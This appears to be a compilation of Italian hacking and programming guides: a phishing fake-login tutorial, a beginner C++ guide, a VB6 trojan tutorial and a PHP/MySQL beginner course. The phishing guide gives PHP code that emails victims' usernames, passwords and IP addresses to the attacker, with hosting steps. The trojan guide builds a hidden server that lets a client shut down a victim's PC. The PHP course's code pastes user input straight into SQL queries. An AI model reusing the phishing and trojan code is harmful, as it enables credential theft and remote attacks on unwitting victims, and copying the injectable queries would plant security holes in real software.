Creare un fake login:
Questo è il file.php che nel fake login viene chiamato login.php…
Copiate questo codice in blocco note e salvatelo come login.php e sostituite nel campo “$yourmail = “TuaEmail” la vostra E-mail…
Esempio:
$yourmail = “pincopallino@hotmail.it”
CODICE
// DA QUI IN POI NON MODIFICARE NULLA!!
if (getenv(HTTP_X_FORWARDED_FOR)){
$ip = getenv(HTTP_X_FORWARDED_FOR); } else {
$ip = getenv(REMOTE_ADDR); }
$useragent=$_SERVER['HTTP_USER_AGENT'];
$td = date(”F jS”);
$date = date(”d M Y”);
$time = date(”g:i a”);
$LogTime = trim(” Date: “.$date.”, Time: “.$time);
mail(”$yourmail”, “Account $account”, “Username: $account \nPassword: $password \n\nIndirizzo IP: $ip \nData log: $LogTime \nSystem Info: $useragent \n\nDarthLord\nwww.msn.com”,”from: $account <$account>”);
header( “Location: index.htm”);
?>
-Scaricate frontpage qui
-Dopo aver fatto ciò salvate la vostra pagina che volete rendere fake e salvatela come index.htm
-Aprite quest’ultima con frontpage
-Da Frontpage aprite la pagina che avete salvato
-Cliccate 2 volte col tasto sinistro sullo spazio di inserimento della e-mail e cambiate il nome con “account”.
-Cliccate col tasto destro sempre sullo spazio di inserimento e-mail e fate “Proprietà modulo” poi “Opzioni” e mettere:
Azione: login.php
Metodo: POST
-Date ok e dinuovo ok
-Stessa cosa nella barra inserimento password, cliccate 2 volte con il sinistro e mettete come nome “password”
-Ora di nuovo cliccate col destro sullo spazio di inserimento password poi su “Proprietà modulo” e poi su “Opzioni” e mettere:
Azione: login.php
Metodo: POST
-Date ok e dinuovo ok
-Ora cliccate col destro sul pulsante “Accedi” e andate di nuovo in “Proprietà modulo” poi su “Opzioni” e mettere:
Azione: login.php
Metodo: POST
-Salvare la pagina con frontpage e uppate tutto su altervista…
Dovete uppare:
index_files (cartella)
index.htm
login.php
Indirizzate la vostra vittima sul login.php e andrà a finire sulla pagina fake 
Guida by Ghaetan 007…
Guida C++
Mi trovo a scrivere una breve guida per spiegare al volo come creare un semplice programma in C++, più che altro per spiegare un pochino lo streaming di input e output e per capire come iniziare e finire un programmino. E’ per coloro che non sanno nulla di C++.
Il programma si inizia inserendo le librerie, ossia parti di codice che servono al compilatore quando si va a creare il file dopo la compilazione, che contengono tutte le operazioni necessarie per far funzionare il programma. Queste sono incluse nel compilatore che si andrà ad utilizzare, io uso Dev C++, che funziona bene, è leggero e sopratutto è FREE!. Allora, le librerie si inseriscono così:
#include <nomelibreria.h>
dove #include è il comando per includere nel programma la libreria richiamata tra i simboli <>.
Libreria fondamentale per poter inserire dati e far emettere al programma dei risultati, è la iostream (Nel C++, nel C è la stdio.h), che contiene la parte di codice necessaria per l’I/O. Quindi se dovessimo scrivere il programma inseriremo
#include <iostream.h>
Fin qui tutto chiaro credo 
Adesso ci sono le variabili da dichiarare e in alcuni casi inizializzare. Le variabili sono come dei contenitori nella ram, in cui verranno inseriti numeri, lettere, dati processati. Esistono diversi tipi di variabili:
- Intero: Sono le variabili che contengono numeri interi, ovvero da zero a infinito (non è proprio così, a dir la verità contengono numeri fino a 32000). In C++ vengono dichiarate scrivendo “int nomevariabile” (senza virgolette).
- Reale: Sono le variabili che contengono i numeri decimali, quelli con la virgola per intenderci. Si dichiarano in C++ scrivendo “float nomevariabile“.
- Carattere: E’ il tipo di variabile che si usa per inserire delle lettere anzichè dei numeri. Si dichiara con “char nomevariabile“.
- Intero doppio: E’ come il tipo intero, solo che nel caso si debba inserire un valore superiore a 32000, si usa questo tipo. Si dichiara con “long nomevariabile“.
- Reale doppio: Stessa cosa di sopra, solamente per il tipo reale. Si dichiara “double nomavariabile“
Si possono dichiarare più variabili di uno stesso tipo separandole con una virgola, e chiudendo il tutto con il punto e virgola
int A,B,C;
float D,E,F;
Da notare anche, che se inseriamo come nome alla variabile una a minuscola ed una A maiuscola non è la stessa cosa, il compilatore interpreta come due parole diverse, quindi occhio 
Proseguiamo il programma dopo aver dichiarato le variabili, inserendo il corpo del programma, che si inizia con
int main(){
corpo del programma
}
Tra le due parentesi graffe ci vanno tutte le istruzioni che il programma dovrà eseguire. Per chi non lo sapesse, le parentesi graffe si fanno con Alt + 123 e Alt + 125.
Adesso scriviamo il classico esempio di “Ciao Mondo” e lo analizziamo.
#include <iostream.h>
int main(){
cout<<”Ciao Mondo”<<endl;
system(”PAUSE”);
return 0;
}
Andiamo ad analizzare.
#include <iostream.h> abbiamo capito tutti cos’è.
int main(){ apre il nostro programma nella funzione principale.
cout<<”Ciao Mondo”<<endl; Qui analizziamo un pezzo per volta.
cout<< è l’istruzione per l’output, e fa stampare a schermo tutto ciò che verra scritto dopo di esso. Per far stampare delle scritte è necessario racchiudere ciò che si vuol far scrivere al programma tra virgolette: “Ciao Mondo” insomma.
<< separa l’emissione di due diversi dati, che siano scritte o che siano variabili. Ad esempio:
cout<<”Ciao “<<”Mondo”<<endl; stampa a schermo la stessa cosa di sopra, ma è scritto separatamente. Preciso che se si lascia uno spazio all’interno delle “”, viene stampato proprio come spazio, quindi se si devono stampare a schermo due diverse scritte, basta lasciare uno spazio all’interno delle virgolette, a seconda di dove si vuole mettere lo spazio. Se lasciate lo spazio all’esterno delle virgolette, il compilatore non lo interpreta come carattere ovviamente, quindi il risultato vi verrà tutto attaccato.
endl è la variabile di ambiente di endline, e serve per far stampare al programma tutto ciò che viene dopo di essa, al rigo successivo. Può essere sostituita da \n che però va inserito tra virgolette, quindi per una questione di ordine è preferibile utilizzare endl. Ricordo sempre di chiudere tutto con un ;
system(”PAUSE”); quando il programma viene mandato in esecuzione dopo essere stato compilato, impedisce di chiudersi da solo, e permette quindi di avere il tempo di visualizzare i risultati emessi dal programma. Per capirci è come il comando pause inserito in un file batch.
return 0; dice al programma che non deve ripetersi, e terminare li. Potremmo anche inserire al posto di 0 main, e far ritornare il programma all’inizio della funzione.
} indica la fine del programma.
Questo esempio era troppo semplice vero? Era anche senza variabili! Beh, facciamone uno un tantino più completo, che permette di calcolare la somma di due numeri. Qui non spiegherò riga per riga, ma solamente le parti nuove
#include <iostream.h>
int A, B, RES;
int main(){
cout<<”Inserisci il primo numero da sommare”<<endl;
cin>>A;
cout<<”Inserisci il secondo numero da sommare”<<endl;
cin>>B;
RES = A + B;
cout<<”Il risultato è: “<<RES<<endl;
system(”PAUSE”);
return 0;
}
Cosa c’è di nuovo.
int A, B, RES; Qui abbiamo dichiarato le varabili di tipo intero, quindi non ci sarà possibile inserire dei numeri decimali. A e B sono gli addendi, RES è il risultato dell’operazione.
cin>>A; e cin>>B; Si usano per permettere all’utente di immettere il dato da tastiera, quindi le variabili A e B assumeranno il valore che decideremo noi. Potremmo sostiture tutto questo scrivendo “Inserire i due numeri da sommare” e facendoli leggere al programma tutti e due insieme così:
cin>>A>>B; Così il programma in esecuzione leggerà le due variabili separatamente.
RES = A + B; E’ l’operazione che il programma andrà ad eseguire. Nella variabile RES si andarà a posizionare la somma delle variabili A e B.
cout<<”Il risultato è: “<<RES<<endl; Questo ci farà visualizzare sullo schermo la scritta “Il risultato è: (RES, ossia la somma delle due variabili, ad esempio 2 nel caso che A e B fossero 1 e 1)” (Senza le virgolette). Se notate ho lasciato uno spazio a fianco alla frase tra virgolette, così il risultato dell’operazione contenuto nella variabile RES verrà visualizzato con uno spazio dalla frase.
Queste sono le basi per fare un programma in C++, potrete mettere tutte le variabili che vorrete, potrete fare tutti i tipi di operazioni, potrete stampare a video ciò che vorrete.
Guida alla creazione di un trojan base in VB 6
Come tutti sapete un trojan è formato da due eseguibili, un client e un server.
Il server va eseguito sul pc della vittima, mentreil client è il programma con il quale si impartiscono gli ordini al server.
Bene, dopo questa piccola premessa partiamo subito con la creazione del nostro primo trojan.
Inizieremo con la creazione del client, che è più facile.
Per prima cosa creiamo un form con un winsock.
Andiamo ora a impostare la proprietà remoteport del nostro winsock e mettiamo come valore la porta sulla quale c’è in ascolto il server.
Nel nostro caso faremo lavorare il nostro server sulla porta “666″, impostiamo poi la stessa porta anche alla proprietà
localport.
Mettiamo ora nella nostra form anche un textbox nel quale si inserirà l’ip della vittima e un commandbutton con il quale ci connetteremo
al server.
Ora nell’evento click del command inseriremi il seguente codice:
winsock1.remotehost = text1.text
winsock1.connect
ora che abbiamo fatto la connessione andiamo a vederecome impartire ordini al server:
Nel nostro daremo al nostro trojan solo due funzioni, una che farà comparire un messaggio alla vittima e l’altra
che gli spegnerà il pc, comunque seguendo lo stesso procedimento potremmo creare infinite funioni.
Andiamo a creare 2 command nella nostra form, il primo lo chioameremo cmd messaggio, e il secondo cmdspegni.
Se non lo sapete, il comando per far inviare qualcosa al winsock si chiama sendData, quindi nel primo command faremo:
winsock1.sendData “messaggio”
e nel secondo faremo:
winsock.sendDAta “spegni”
Andiamo ora a creare il nostro server:
Apriamo un nuovo progetto e creiamo un form, inseriamoci un winsock e ricordiamoci di impostare la proprietà visible del nostro
form a “false” in modo che il form sia invisibile, poi impostiamo le proprietà localport e remoteport del winsock su 666.
A questo punto nella sub form_load mettiamo in ascolto il winsock sulla propria porta in attesa di connessioni:
winsock1.listen
Ora andremo a programmare la sub Winsock1_ConnectionRequest che è la sub che viene eseguita quando il winsock riceve una richiesta di connessione:
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID
End Sub
La nostra sub controlla se c’è una precedente connessione aperta e la chiude e poi accetta la connessione del client.
Dopo aver visto la connessione dobbiamo gestire i dati ricevuti dal client e faremo ciò nella sub Winsock1_DataArrival.
in questa sub dovremmo controllare cosa ci chiedono di fare i comandi ricevuti ed eseguirli, quindi facciamo:
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim dati As String
Winsock1.GetData dati
Select Case dati
Case “messaggio”
msgbox “Ciao utente!!!”
Case “spegni”
Shell (”shutdown -s -f -t 01″)
End Select
End Sub
Questa sub mette i dati ricevuti nella variabile “dati” e poi se il contenuto della variabile dati è uguale a messaggio fa comparire un msgbox con
“scritto Ciao utente!!!” e se è uguale a spegni fa spegnere il pc della vittima.
Durante la connessione tra client e server potrebbero esserci degli errori, in questo caso ci viene in contro la sub Winsock1_Error,
nella quale in caso di errore faremo chiudere la connessione e rimetteremo in ascolto il nostro winsock
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Winsock1.Close
Winsock1.Listen
End Sub
Questo che abbiamo creato è solo la base di un trojan, ma è comunque funzionante e permette di capire il funzionamento del client e del server, ora sta alla fantasia
e alle conoscenze del programmatore migliorarlo ed implementarlo per farlo diventare un programma completo.
by spud—
Creare un sito dinamico in PHP
Il nostro primo script
Per tradizione, inizieremo con il classico script di saluto al mondo intero. Aprite il vostro editor di testi e digitate il codice seguente:
<HTML>
<?php
echo “Ciao Mondo!”;
?>
</HTML>
Salva il file come primo.php e visualizzalo nel browser. La pagina visualizza la scritta “Ciao Mondo!”. Visualizza dal tuo browser il codice HTML di questa pagina. E’ presente soltanto la scritta Ciao Mondo!. Questo perchè il PHP ha processato il codice, e il codice ha detto al PHP di restituire in output la scritta “Ciao Mondo!”. Nota i tag <?php and ?>. Questi delimitano il codice php e racchiudono il blocco di codice scritto in php. <?php dice al PHP di processare tutte le righe comprese tra questo tag php ed il tag filnale ?> che dice al PHP di terminare il processo. Tutte le righe esterne a questi tag vengono processate dal browser come codice HTML.
Il nostro primo database
Ora creiamo il nostro database e vediamo che cosa possiamo farci. Nel vostro phpMyAdmin create un database col nome learndb.
Ora dobbiamo creare le tabelle nel database ed inserirci qualche dato. Nel vostro phpMyAdmin, inserite questa query:
| CONNECT learndb CREATE TABLE personnel ( id int NOT NULL AUTO_INCREMENT, firstname varchar(25), lastname varchar(20), nick varchar(12), email varchar(35), salary int, PRIMARY KEY (id), UNIQUE id (id) ); INSERT INTO personnel VALUES (’1′, ‘John’, ‘Lever’, ‘John’, ‘ \n john@everywhere.net Indirizzo e-mail protetto dal bots spam , deve abilitare Javascript per vederlo ‘, ‘75000′); INSERT INTO personnel VALUES (’2′, ‘Camilla’, ‘Anderson’, ‘Rose’, ‘ \n rose@flower.com Indirizzo e-mail protetto dal bots spam , deve abilitare Javascript per vederlo ‘, ‘66000′); |
Questa query crea una tabella con 5 campi ed inserisce alcune informazioni.
Visualizziamo il contenuto del database con PHP
Adesso che abbiamo il nostro database con alcune informazioni al suo interno, visualizziamone il contenuto con il PHP. Salvate il codice seguente con il nome viewdb.php:
<HTML>
<?php
$db = mysql_connect(”localhost”, “root”, “”);
mysql_select_db(”learndb”,$db);
$result = mysql_query(”SELECT * FROM personnel”,$db);
echo “<TABLE>”;
echo”<TR><TD><B>Full Name</B><TD><B>Nick Name</B><TD><B>Salary</B></TR>”;
while($myrow = mysql_fetch_array($result))
{
echo “<TR><TD>”;
echo $myrow["firstname"];
echo ” “;
echo $myrow["lastname"];
echo “<TD>”;
echo $myrow["nick"];
echo “<TD>”;
echo $myrow["salary"];
}
echo “</TABLE>”;
?>
</HTML>
Eseguitelo nel vostro browser e vedrete il database del personale. Ora esaminiamo il codice. Prima dichiariamo la variabile $db. Nel PHP dichiariamo una variabile inserendo il simbolo ‘$ ‘ seguito dal nome della variabile. Guardate questo esempio dove viene assegnato un valore ad una variabile:
$nome_variabile= valore_assegnato;
(esempio: $count= 4 
Ricordatevi di inserire il simbolo ‘;’ alla fine di ogni riga. Dopo aver dichiarato la variabile $db abbiamo creato una connessione col database con il comando “mysql_connect(”localhost”, “root”, “”)”. Questo significa collegati con il database MySQL nel server localhost con lo username root e la password “”. Sostituisci questi valori con i tuoi dati se sono diversi.
Abbiamo poi assegnato un puntatore al database $db; in altre parole, $db punta al nostro server localhost del database. Abbiamo selezionato il database con il quale vogliamo interagire, usando la riga “mysql_select_db(”learndb”,$db);”: significa che noi vogliamo utilizzare il database “learndb” localizzato dalla variabile puntatore $db. Ma noi vogliamo informazioni dal database, allora abbiamo fatto una query al databaseusando la riga “$result = mysql_query(”SELECT * FROM personnel”,$db);” La parte “SELECT * FROM personnel” è un’istruzione SQL, che significa selezionare tutti i dati presenti nel database personnel.
Il risultato della query mysql_ query() è stata poi salvata nella variabile $result. Ora possiamo accedere a tutti i dati presenti in tutte le righe del database dalla variabile $result. Utilizziamo la funzione mysql_fetch_array() per estrarre ogni riga dalla variabile $result e assegnarla alla variabile $myrow. Questa variabile contiene le informazioni di ogni riga strutturta come un array.
Poi visualizziamo i dati contenuti in ogni riga. “echo $myrow["firstname"];” significa inviare in output il valore contenuto nel campo “firstname” della riga contenuta nella variabile $myrow.
Qui abbiamo utilizzato il ciclo while(), cioè fino a quando ci sono dati da estrarre dalla variabile $result e da inserire nella variabile $myrow, esegui le righe contenute tra le parentesi graffe {}. Questo codice, potete formattarlo a vostro piacimento per rendere un output più gradevole. Congratulazioni! Avete appena creato la vostra prima pagina web dinamica!
Creare una form HTML
Ora vediamo come aggiungere un nuovo record al database. Con le vostre conoscenze di HTML, costruiamo una pagina che ci permetta di farlo. Creiamo una pagina html statica e la salviamo col nome datain.html:
<HTML>
<BODY>
<form method=”post” action=”datain.php”>
First name:<input type=”Text” name=”first”><br>
Last name:<input type=”Text” name=”last”><br>
Nick Name:<input type=”Text” name=”nickname”><br>
E-mail:<input type=”Text” name=”email”><br>
Salary:<input type=”Text” name=”salary”><br>
<input type=”Submit” name=”submit” value=”Enter information”>
</form>
</HTML>
Adesso abbiamo una form di inserimento dati chiamata “datain.php”. Dobbiamo creare il codice per questa pagina che permetta l’invio e l’inserimento dei dati al database MySQL. Ecco il codice che fa quello che abbiamo appena descritto, salvatelo col nome datain.php:
<HTML>
<?php
$db = mysql_connect(”localhost”, “root”,””);
mysql_select_db(”learndb”,$db);
$sql = “INSERT INTO personnel (firstname, lastname, nick, email, salary) VALUES (’$first’, ‘$last’, ‘$nickname’,’$email’,’$salary’)”;
$result = mysql_query($sql);
echo “Thank you! Information entered.\ n”;
?>
</HTML>
Le prime tre righe le ho già spiegate in precedenza, con la piccola differenza che utilizziamo il comando SQL “INSERT INTO”, che significa inserire nel database nelle colonne specificate (in questo caso firstname, lastname, nick, email) i dati contenuti rispettivamente nelle variabili’$first’, ‘$last’, ‘$nickname’, ‘$email’.
Ma da dove arrivano quese variabili? PHP crea le variabili automaticamente dai dati inviati dalla form. Il campo di inserimento della form chiamato “first” crea la variabile $first e contiene il testo inserito in quel dato campo.
Nota Importante: Se avete installato PHP 4.2, dovete modificare il file php.ini e modificare la variabile register_globals da off a on, così:
register_globals = on
Se non è possibile, dovrete inizializzare le variabili manualmente voi stessi nel vostro codice. Questo è il metodo, se dovete inviare un dato da una form con il campo che si chiama “name” dovrete scriverre il codice seguente nella pagina che state inviando:
<?PHP
$name=$_POST[name]; //for post method
$name=$_GET[name]; //for get method
?>
Generalizzando si scrive così:
<?PHP
$nomevariabile=$_POST[nome_del_campo_inviato_dalla_form];
?>
Il codice risulterà scritto in questo modo:
<HTML>
<?php
$db = mysql_connect(”localhost”, “root”,””);
mysql_select_db(”learndb”,$db);
//variabili inserite menualmente
$first=$_POST[first];
$last=$_POST[last];
$nickname=$_POST[nickname];
$email=$_POST[email];
$salary=$_POST[salary];
//
$sql = “INSERT INTO personnel (firstname, lastname, nick, email, salary)
VALUES (’$first’,’$last’,’$nickname’,’$email’,’$salary’)”;
$result = mysql_query($sql);
echo “Thank you! Information entered.\n”;
?>
</HTML>
Uniamo il tutto
Uniamo tutto il codice in un unico file. Lo chiameremo input.php:
<HTML>
<?php
if($submit)
{
$db = mysql_connect(”localhost”, “root”,””);
mysql_select_db(”learndb”,$db);
$sql = “INSERT INTO personnel (firstname, lastname, nick, email, salary) VALUES (’$first’, ‘$ last’, ‘$nickname’,’$email’,’$salary’)”;
$result = mysql_query($sql);
echo “Thank you! Information entered.\n”;
}
else
{
?>
<form method=”post” action=”input.php”>
First name:<input type=”Text” name=”first”><br>
Last name:<input type=”Text” name=”last”><br>
Nick Name:<input type=”Text” name=”nickname”><br>
E-mail:<input type=”Text” name=”email”><br>
Salary:<input type=”Text” name=”salary”><br>
<input type=”Submit”name=”submit” value=” Enter information”></form>
<?
}
?>
</HTML>
Questo crea uno script che visualizza la form quando per inserire dati nel database. Abbiamo già detto che il PHP crea automaticamente variabili con i dati già inseriti al loro interno. Il PHP crea anche la variabile $submit se la form viene inviata. Lo script determina se la variabile $submit esiste. Se è così e contiene un valore, allora i dati inseriti nella form verranno aggiunti al nostro database; altrimenti, visualizzeremo la form.
Provate ad inserire dei dati nel database e controllate se lo script funziona visualizzandoli utilizzando il file viewdb.php.
Passaggio di variabili
Consideriamo come vengono passate le informazioni ad una pagina PHP. Un metodo è quello di utilizzare le form come abbiamo già fatto; un altro metodo è quello di utilizzare le query strings. Cosa sono le query strings? Modificate la iga method=”post” in method=”get” nel nostro script input.php. Ora provate ad inviare i dati al database. Dopo aver cliccato su submit vedremo nel browser la nostra solita scritta “Thank you! Information entered”. Ma osservate l’URL. Dovrebbe esserci una scritta come questa:
http:
Le informazioni sono state inviate come una stringa nell’URL invece di essere inviate direttamente. La frase dopo il carattere ? è la query string, e come potete vedere contiene il nome della variabile e il suo valore. Quando il PHP riceve una query string come ?first=John crea automaticamente una variabile chiamata $first e le assegna il valore che viene passato dalla query string. E’ l’equivalente di $first=”John”;. Quando sono presenti più variabili, tvengono separate dal carattere &.
Se non avete attivato l’opzione register_globals=on, dovete asscurarvi di inizializzare le variabili con $_GET così $first=$_GET[first];.
Visualizzare le singole righe
Ora creeremo uno script che visualizzeràle informazioni di una riga particolare del nostro database definita dalla variabile $id. Salva il codice seguente con il nome view.php. Provate a visualizzarlo nel vostro browser utilizzando questo percorso http://vostrohost/view.php?id=2 (abbiamo passato la variabile $id=2 tramite la query string). La pagina visualizzerà le informazioni relative alliid 2 del database MySQL.
<HTML>
<?php
$db = mysql_connect(”localhost”, “root”, “”);
mysql_select_db(”learndb”,$db);
$result = mysql_query(”SELECT * FROM personnel WHERE id=$id”,$db);
$myrow = mysql_fetch_array($result);
echo “First Name: “.$myrow["firstname"];
echo “<br>Last Name: “.$myrow["lastname"];
echo “<br>Nick Name: “.$myrow["nick"];
echo “<br>Email address: “.$myrow["email"];
echo “<br>Salary: “.$myrow["salary"];
?>
</HTML>
In questo caso il comando SQL è cambiato e dice al databasedi cercare le righe che hanno il valore $id. Ma è possibile che più righe abbiano lo stesso id? Generalmente una colonna può contenere qualsiasi valore, lo stesso oppure no. Ma nel nostro database due righe non potranno mai avere lo stesso id, perchè quando abbiamo creato il nostro database, abbiamo definito l’id come UNIQUE.
Salvate il file modificando il nome da viewdb.php a viewdb2.php.
<HTML>
<?php
$db = mysql_connect(”localhost”, “root”, “”);
mysql_select_db(”learndb”,$db);
$result = mysql_ query(”SELECT * FROM personnel”,$ db);
echo “<TABLE BORDER=2>”;
echo”<TR><TD><B>Full Name</B><TD><B>Nick Name</B><TD><B>Options</B></TR>”;
while($myrow = mysql_fetch_array($result))
{
echo “<TR><TD>”.$myrow["firstname"].” “.$myrow["lastname"].”<TD>”.$myrow["nick"];
echo “<TD><a href=\”view.php?id=”.$myrow[id].”\”>View</a>”;
}
echo “</TABLE>”;
?>
</HTML>
Visualizzando questa pagina, avrete una lista di nomi con i ispettivi nicknames. Osservate la terza colonna con il suo link. Posizionatevi con il mouse sopra il link e guardate dove punta il collegamento. Il link dovrebbe essere così http://vostrohost/view.php?id=3 ed i links di ogni riga sono diversi. Cliccate su uno di questi links. Vi riportano alla pagina creata dal vostro codice view.php che visualizza le informazioni dettagliate di quella persona. Come viene ottenuto tutto ciò?
Osservate il nostro codice del file viewdb2.php. Guardate la riga 11. L’unica cosa a noi non familiare, sono i puntini (.) sparsi nella riga. Questi puntini in PHP sono un operatore di concatenamento, significano che le stringhe ai lai del punto, sono concatenate tra di loro; ad esempio, se scrivo echo “Hello”.”World”, l’output sarà “HelloWorld”. Nel nostro esempiousiamo l’operatore di concatenamento per generare una riga per il browser, come questa:
<TR><TD>Camilla Anderson<TD>Rose<TD><a href=”view.php?id=2″>View</a>
Eliminare righe
Fino ad esso aabbiamo solo inserito nuove informazioni nel nostro database e le abbiamo visualizzate. Che cosa succede se dobbiamo eliminare dei dati inutili? Il nostro script delete.php farà questo per noi. Lavora esattamente come lo script view.php. L’unica differenza è il comando SQL “DELETE FROM personnel WHERE id=$id”, che dice a MySQL di eliminare la riga che contiene l’id corrispondente alla variabile $id. Generalmente il comando SQL per eliminare una riga è DELETE FROM database_name WHERE field_name=somevalue
<HTML>
<?php
$db = mysql_ connect(”localhost”, “root”, “”);
mysql_select_db(”learndb”,$ db);
mysql_query(”DELETE FROM personnel WHERE id=$id”,$db);
echo “Information Deleted”;
?>
</HTML>
Ancora una volta abbiamo modificato il nostro script viewdb2.php per inserire la nuova opzione e lo chiameremo viewdb3.php.
<HTML>
<?php
$db = mysql_connect(”localhost”, “root”, “”);
mysql_select_db(”learndb”,$db);
$result = mysql_query(”SELECT * FROM personnel”,$db);
echo “<TABLE BORDER=2>”;
echo”<TR><TD><B>Full Name</B><TD><B>Nick Name</B><TD><B>Options</B></TR>”;
while ($myrow = mysql_fetch_array($result))
{
echo “<TR><TD>”.$myrow["firstname"].” “.$ myrow[" nick"];
echo “<TD><a href=\”view.php?id=”.$myrow[id].”\”>View</a> “;
echo “<a href=\”delete.php?id=”.$myrow[id].”\”>Delete</a>”;
}
echo “</TABLE>”;
?>
</HTML>
Provate a cliccare su delete e poi visualizzate ancra il database utilizando lo script viewdb3.php per verificare che la riga sia effettivamente eliminata.
Modificare i dati
Ci capiterà sicuramente di dover modificare i dati presenti nel database. Per creare lo script che farà questa operazione, modificheremo il file input.php. Chiameremo questo file modificato addedit.php:
<HTML>
<?php
if($submit)
{
$db = mysql_connect(”localhost”, “root”,””);
mysql_select_db(”learndb”,$db);
$sql = “INSERT INTO personnel (firstname, lastname, nick, email, salary)
VALUES (’$first’,’$last’,’$nickname’,’$email’,’$salary’)”;
$result = mysql_query($sql);
echo “Thank you! Information entered.\n”;
}
else if($update)
{
$db = mysql_connect(”localhost”, “root”,””);
mysql_select_db(”learndb”,$db);
$sql = “UPDATE personnel SET firstname=’$first’,
lastname=’$last’, nick=’$nickname’, email=’$email’, salary=’$salary’ WHERE id=$id”;
$result = mysql_query($sql);
echo “Thank you! Information updated.\n”;
}
else if($id)
{
$db = mysql_connect(”localhost”, “root”, “”);
mysql_select_db(”learndb”,$db);
$result = mysql_query(”SELECT * FROM personnel WHERE id=$id”,$db);
$myrow = mysql_fetch_array($result);
?>
<form method=”post”action=”<?php echo $PHP_SELF?>”>
<input type=”hidden”name=”id”value=”<?php echo $myrow["id"]?>”>
First name:<input type=”Text”name=”first”value=”<?php echo $myrow["firstname"]?>”><br>
Last name:<input type=”Text” name=”last” value=”<?php echo $myrow["lastname"]?>”><br>
Nick Name:<input type=”Text” name=”nickname” value=”<?php echo $myrow["nick"]?>”><br>
E-mail:<input type=”Text” name=”email” value=”<?php echo $myrow["email"]?>”><br>
Salary:<input type=”Text” name=”salary” value=”<?php echo $myrow["salary"]?>”><br>
<input type=”Submit” name=”update” value=”Update information”></form>
<?
}
else
{
?>
<form method=”post” action=”<?php echo $PHP_SELF?>”>
First name:<input type=”Text” name=”first”><br>
Last name:<input type=”Text” name=”last”><br>
Nick Name:<input type=”Text” name=”nickname”><br>
E-mail:<input type=”Text” name=”email”><br>
Salary:<input type=”Text” name=”salary”><br>
<input type=”Submit” name=”submit” value=”Enter information”></form>
<?
}
?>
</HTML>
Il codice vi sembrerà un pò complesso, ma non lo è. Lo script precedente input.php può fare due cose: può aggiungere dati al nostro database e può visualizzare la form. Ora aggiungeremo due nuove opzioni: la possibilità di visualizzare la stessa form ma con i valori di una particolare persona presente nel database e la possibilità di aggiornare i records di questa persona. I comandi SQL per inserire nuove informazioni e aggiornare quelle esistenti sono diversi, così utilizziamo il nostro script precedente per inserire le informazioi.
Lo script controlla la variabile $submit. Se contiene un valore, allora qualcuno ha inserito nuovi dati e le informazioni verranno inserite nel database. Se la variabile $submit non contiene nessun valore, allora qualcuno potrebbe aver inserito informazioni aggiornate, così viene controllata la variabile $update. Se contiene un valore, allora aggiorneremo il record della persona con il comando SQL “UPDATE personnel SET fieldname1= ‘$variablename1′, fieldname2= ‘$variablename2′ ……… WHERE id=$id”;”. Altrimenti, se qualcuno ha fornito l’id nella query string, visualizzeremo le informazioni relative alla persona identificata dall’id. Se tutto ciò non succede, verrà visualizzata la vecchia form.
Proviamo lo script. Apritelo con il vostro browser per vedere che cosa succede. Poi richiamalo utilizzando la query string ?id=1. Modifica le inormazioni e clicca update. Verifica se il database è stato aggiornato usando lo script viewdb3.php.
Un’altro nuovo elemento è stato inserito. E’ la variabile globale PHP $PHP_SELF. Questa variabile contiene sempre il nom dello script che la contiene e la sua posizione. Abbiamo tilizzato questa variabile in una ‘form action’, non preoccupatevi del nome di questo file, questo script invierà sempre le informazioni a se stesso.
Abbiamo modificato ancora una volta il nostro script per la visualizzazione inserendo questa opzione. Qui sotto c’è il codice di questo script che chiameremo viewdb4.php:
<HTML>
<?php
$db = mysql_connect(”localhost”, “root”, “”);
mysql_ select_db(”learndb”,db);
$result = mysql_query(”SELECT * FROM personnel”,$db);
echo “<TABLE BORDER=2>”;
echo”<TR><TD><B>Full Name</B><TD><B>Nick Name</B><TD><B>Options</B></TR>”;
while($myrow = mysql_fetch_array($result))
{
echo “<TR><TD>”.$myrow["firstname"].” “.$myrow["lastname"].”</a><TD>”.$myrow["nick"];
echo “<TD><a href=\”view.php?id=”.$myrow[id].”\”>View</a> “;
echo “<a href=\”delete. php?id=”.$myrow[id].”\”>Delete</a> “;
echo “<a href=\”addedit.php?id=”.$myrow[id].”\”>Edit</ a>”;
}
echo “</TABLE>”;
?>
</HTML>
Cercare dati
Arrivati a questo punto, ci serve un motore di ricerca dei dati presenti nel database. Questa pagina visualizzerà inizialmente una form statica e dopo aver inserito la parola da cercare, visualizzarà il risultato della ricerca.
<HTML>
<?php
if ($searchstring)
{
$sql=”SELECT * FROM personnel WHERE $searchtype LIKE ‘%$searchstring%’ ORDER BY firstname ASC”;
$db = mysql_connect(”localhost”, “root”, “”);
mysql_select_db(”learndb”,$db);
$result = mysql_query($sql,$db);
echo “<TABLE BORDER=2>”;
echo”<TR><TD><B>Full Name</B><TD><B>Nick Name</B><TD><B>Options</B></TR>”;
while ($myrow = mysql_fetch_array($result))
{
echo “<TR><TD>”.$myrow["firstname"].” “.$myrow["lastname"].”<TD>”.$myrow["nick"];
echo “<TD><a href=\”view.php?id=”.$myrow["id"].”\”>View</a>”;
}
echo “</TABLE>”;
}
else
{
?>
<form method=”POST” action=”<?php $PHP_SELF ?>”>
<table border=”2″ cellspacing=”2″>
<tr><td>Insert you search string here</td>
<td>Search type</td></tr>
<tr>
<td><input type=”text” name=”searchstring” size=”28″></td>
<td><select size=”1″ name=”searchtype”>
<option selected value=”firstname”>First Name</option>
<option value=”lastname”>Last Name</option>
<option value=”nick”>Nick Name</option>
<option value=”email”>Email</option>
</select></td>
</tr>
</table>
<p><input type=”submit” value=”Submit” name=”B1″><input type=”reset” value=”Reset” name=”B2″></p>
</form>
<?php
}
?>
</HTML>
Lo script controlla se la stringa contenuta in una variabile esiste. Se $searchstring contiene un valore, allora lo script ha qualche cosa da cercare; altrimenti, verrà visualizzata solo la form di ricerca. La parte di codice per la ricerca, è simile al nostro viewdb2.php. Il comando SQL merta una piccola spiegazione. Il comando SQL è:
“SELECT * FROM personnel WHERE $searchtype LIKE ‘%$searchstring%’ ORDER BY firstname ASC”
